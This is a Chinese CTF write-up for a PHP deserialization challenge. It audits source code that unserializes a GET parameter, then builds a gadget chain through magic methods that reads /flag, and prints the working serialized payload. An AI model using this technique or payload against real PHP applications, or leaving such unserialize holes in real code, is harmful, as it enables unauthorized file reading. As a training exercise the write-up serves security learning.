1、打开网页显示如下:
2、进行目录扫描,发现www.zip文件。
3、进行源代码审计
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
4、根据源代码发现应该是反序列化,构造代码生成序列化字符串
$st = new Start();
$ro = new Room();
$ro->a = $ro;
$in = new Info();
$in->file['filename'] = $ro; // 将该变量指示Room对象后,
// return $this->file['filename']->ffiillee['ffiilleennaammee'];
// 以上语句变为 return $ro->ffiillee['ffiilleennaammee']
// $ro->ffiillee['ffiilleennaammee'] 语句在执行时,触发Room的__get()方法(私有变量或不存在的变量均会触发__get()方法)
// $ro-a->$ro; 指向了Room对象自己。在__get()方法执行时,对象执行函数调用触发__invoke()后,获取flag文件的Base64编码
$st->name = $in;
echo serialize($st);
生成的序列化Payload如下:
O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";r:6;}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}
5、网页get方法,hello参数设为payload后,获取flag的base64,(需要注意前两个字符“hi“不是flag文件内容)Base64解码后得到flag。